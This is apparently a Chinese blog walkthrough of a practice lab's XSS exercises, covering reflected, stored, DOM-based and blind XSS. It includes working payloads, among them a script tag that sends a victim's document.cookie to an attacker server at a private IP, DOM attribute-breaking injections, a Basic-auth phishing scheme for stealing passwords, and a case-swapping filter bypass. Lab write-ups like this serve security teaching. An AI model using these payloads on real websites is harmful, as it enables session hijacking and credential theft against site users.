赞
踩
XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制
假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中
当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行
危害:存储型 > 反射型 > DOM型
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格
导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行
窗口叫我们输入一个球星,我们输入kebo
他返回了一张图片
输入特殊字符也没有进行过滤
这其实是最简单的get-反射型xss,一般我们用这种简单的弹窗就可以测试了
<script>alert("寄")</script>
我们这个输入框有限制字符数量,我们在F12里面进行修改
输入代码,得到回显
攻击流程
我们的流程就是当用户访问存在XSS的漏洞页面的时候,触发我们的js语句。然后返回执行的脚本,将用户的cookie返回到攻击者手中。
上面的js代码就是将用户的cookie发送到攻击者的服务器然后再重定向返回原来的网站。这样我们就盗取了用户的cookie。
这道题多了一个登录表单,我们先正常登录
然后我们就来到了和GET一样的表单界面。但是post表单和get表单存在非常不同的地方就是他们提交的URL
以GET方式提交,URL里面携带有我们的参数。比如我们的恶意代码
<script>document.location = 'http://192.168.147.145:8000/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
而当我们以POST方式提交,URL里面没有参数。这使得我们能很好的隐藏自己的JS代码
存储型XSS和反射型XSS形成的条件是相同的,他们的区别是,反射型XSS能够立即触发造成影响,而存储型XSS能够长久的存在在JS代码中甚至存储到数据库中,直到管理员或者用户触发。
我们直接在留言板留下触发的JS代码
发现是能够执行的
甚至我们在下一次点开他的时候,他也触发执行了。这也就是上面说的存储到数据库中能够长久执行。
当网站存在存储型XSS时,我们就可以利用其进行钓鱼攻击,获得网站用户的用户名以及密码。
钓鱼攻击一般使用的是Basic认证。
我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)
其实这个登录窗口压根与网站无关,但是一旦有用户没有发现,我们就可以窃取到他的用户名和密码。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3BUtERAA-1636594844626)(https://github.com/1196232799/picBED/blob/master/202111101738103.png?raw=true)]
将以下代码存入留言板,我们就可以实现网页跳转
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口
源码
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
查看源码可以了解到它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str
然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
我们通过闭合的方式构造Payload
'><img src="#" οnmοuseοver="alert('xss')">
' οnclick="alert('xss')">
点击what do you see 可以触发XSS
其实在网页源代码里面可以看到点击链接以后会生成 a 标签
javascript:alert("寄!!")
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
这个js代码定义了一个domxss函数,它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str。
然后经过URL解码和字符串分隔,取出URL中的参数内容。
再把 “+” 替换为 “ ”(空格),赋值给 xss, 最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get), 构造的Payload跟刚才是一样的。
这个就是提交给后台触发了,当我们将JS代码插入,管理员一旦从后端打开就会触发
这里打开后台直接就触发了
全小写的JS代码被过滤了
但是我们将他替换成大写就可以绕过
实战中绕过有很多方法,如大小写混写,双写,利用其他解码方式之类,这里不扩展说明。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。